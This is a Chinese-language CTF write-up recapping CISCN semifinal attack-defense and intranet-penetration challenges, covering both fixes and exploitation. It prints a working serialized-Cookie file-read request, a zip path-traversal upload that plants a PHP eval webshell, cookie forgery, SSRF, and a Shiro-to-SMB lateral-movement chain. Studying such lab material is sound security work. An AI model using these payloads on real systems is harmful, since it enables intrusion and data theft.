ciscn及长城杯半决赛回顾
字数 2949
更新时间 2026-03-26 12:27:17
CTF比赛AWDP与ISW靶场实战技术详解
背景概述
本文档基于用户“bTchrAqTvr”在先知社区分享的《ciscn及长城杯半决赛回顾》文章内容整理生成,详细剖析了第十九届全国大学生信息安全竞赛(CISCN)半决赛浙江赛区中涉及的AWDP(Attack With Defense Plus)攻防赛和ISW(Internal Security War)内网渗透赛的关键题目、解题思路、修复方法及实战技巧。
一、 AWDP 赛题详解
AWDP赛制要求参赛队伍在攻击对方服务的同时,修复并加固己方的服务漏洞。
1. MediaDrive
漏洞点:位于/preview.php的文件读取漏洞。
代码审计与修复(Fix):
- 漏洞定位:通过源代码审计,分析出
/preview.php存在关键文件读取功能。 - 修复策略:
- 注释掉存在漏洞的
file_get_contents($convertedPath);代码行。 - 为相关变量赋予一个固定的、无害的值。
- 在过滤黑名单中增加更严格的规则,使用正则表达式过滤所有字母和数字字符,以防止路径穿越和特殊协议利用:
if (preg_match('/flag|/flag|\.\.|php:|data:|expect:|php|[a-z]|[0-9]/i', $rawPath)) { http_response_code(403); echo "Access denied"; exit; }
- 注释掉存在漏洞的
攻击利用(Break):
- 漏洞原理:
preview.php的f参数和Cookie中的user反序列化对象可控。其中,user对象包含encoding(编码字符集,如UTF-16LE)和basePath(基础路径)属性。程序会使用指定的编码处理f参数,并与basePath拼接,最终传递给file_get_contents函数。 - 利用步骤:
- 构造特殊的Cookie,将
encoding设置为UTF-16LE,basePath设置为空字符串""。 - 对
f参数传入经过UTF-16LE编码的字符串/flag(编码后形式类似%2f%00%66%00%6c%00%61%00%67%00)。 - 服务器在处理时,会按照UTF-16LE解码参数,并与
basePath拼接,最终构造出读取/flag文件的路径,从而绕过常规的过滤规则。
- 构造特殊的Cookie,将
- 请求示例:
GET /preview.php?f=%2f%00%66%00%6c%00%61%00%67%00 HTTP/1.1 Host: target Cookie: user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A8%3A%22UTF-16LE%22%3Bs%3A8%3A%22basePath%22%3Bs%3A0%3A%22%22%3B%7D
2. easy_time
漏洞点:硬编码密钥、Cookie伪造、路径穿越文件上传、SSRF(服务器端请求伪造)。
代码审计与修复(Fix):
- 硬编码密钥:Flask应用的
secret_key在代码中明文硬编码。修复方法是将其改为更复杂、无规律的随机值。 - Cookie验证逻辑:存在通过Cookie(如
user=admin; visited=yes)即可直接登录的验证缺陷。需要修复验证逻辑,确保登录状态严格基于session或有效的Token。 - 服务进程管理:Dockerfile中使用
supervisord管理进程。修复时需注意,直接上传修复后的代码文件,默认不会重启Web服务(如Flask)。为了让新代码生效,需要触发supervisord重新拉起子进程,例如修改相关配置或发送重启信号。
攻击利用(Break):
- 信息收集:Dockerfile暴露80和5000端口,对应PHP和Python服务。
- 身份伪造:直接设置Cookie
user=admin; visited=yes即可绕过登录验证。 - 文件上传GetShell:
- 访问已登录状态下的
/plugin/upload路由,该功能允许上传ZIP压缩包。 - 漏洞原理:后端使用
os.path.join处理压缩包内文件名时,未过滤路径穿越字符(如../../)。 - 利用步骤:
a. 创建一个包含WebShell的PHP文件:echo '<?php eval($_GET["a"]);?>' > ../../../../../../var/www/html/a.php
b. 将该文件打包:zip -r a.zip ../../../../../../var/www/html/a.php
c. 上传a.zip压缩包。服务器解压时,由于路径穿越,会将WebShell写入到Web目录(/var/www/html/)下的a.php文件中。
- 访问已登录状态下的
- SSRF读取Flag:在
/about目录下存在SSRF漏洞。利用该漏洞,可以构造请求读取服务器本地临时目录(如/tmp/)下的flag文件。
3. WSO2
修复(Fix):
题目检查机制可能依赖于flag文件的存在。最直接的修复方法是删除flag文件:rm /flag。但此方法需根据具体check逻辑谨慎使用,并非通用修复方案。
二、 ISW 内网渗透实战
攻击流程简述:
- 信息收集:使用
nmap对靶机进行端口扫描,发现开放服务。 - 漏洞利用:使用漏洞扫描器识别出目标存在Apache Shiro反序列化漏洞。
- 突破边界:利用Shiro反序列化工具成功获取目标系统的初始立足点(例如,执行命令或上传木马)。
- 权限提升:利用CVE漏洞进行提权,成功读取
/root目录下的flag。 - 内网横向移动:
- 上传内网扫描工具(如
fscan)对当前网段进行扫描,发现另一存活IP。 - 对新IP进行扫描,发现其开放445端口(SMB服务)。
- 使用
enum4linux工具对该SMB服务进行枚举和爆破,成功获取到该内网机器上的flag。
- 上传内网扫描工具(如
三、 关键技巧与注意事项总结
-
AWDP修复要点:
- 彻底消除漏洞:修复不仅是补上利用点,更要理解漏洞根本成因(如编码处理、路径拼接逻辑),从根源上阻断。
- 服务状态管理:在容器化环境中,修复代码后必须确认服务是否重启以加载新代码。注意
supervisord、systemd等进程管理器的行为。 - 防御的全面性:过滤规则应尽可能严格,同时考虑多种绕过方式(如编码绕过、空字节截断等)。
-
AWDP攻击要点:
- 代码审计深度:快速定位敏感函数(如
file_get_contents,os.path.join)和可控参数。 - 利用链构造:将多个薄弱点串联,例如本例中结合了反序列化控制对象属性、编码转换、路径拼接来构造有效的文件读取payload。
- 常见漏洞利用模式:文件上传+路径穿越是常见的GetShell手段;SSRF常用来读取内网或本地文件。
- 代码审计深度:快速定位敏感函数(如
-
ISW内网渗透要点:
- 自动化工具结合:熟练使用
nmap、漏扫工具、漏洞利用框架(如Shiro反序列化工具)、内网扫描工具(如fscan)和信息枚举工具(如enum4linux)。 - 攻击链思维:外网突破 -> 权限提升 -> 信息收集(网段、存活主机、服务)-> 横向移动,形成完整的攻击路径。
- 重点服务关注:SMB、RDP、MySQL、Redis等在内网中常见的服务,往往是横向移动的突破口。
- 自动化工具结合:熟练使用
四、 资源与附件
原文作者提供了比赛中的Web题目附件,供进一步研究复现。
- 下载链接与提取码见原文末尾。
文档内容主要提取自提供的先知社区文章链接。关于文中提到的具体漏洞原理(如Shiro反序列化、enum4linux工具用法)的更深层技术细节,文档未做展开,如需深入了解,建议结合其他专业安全资料进行学习。
相似文章
相似文章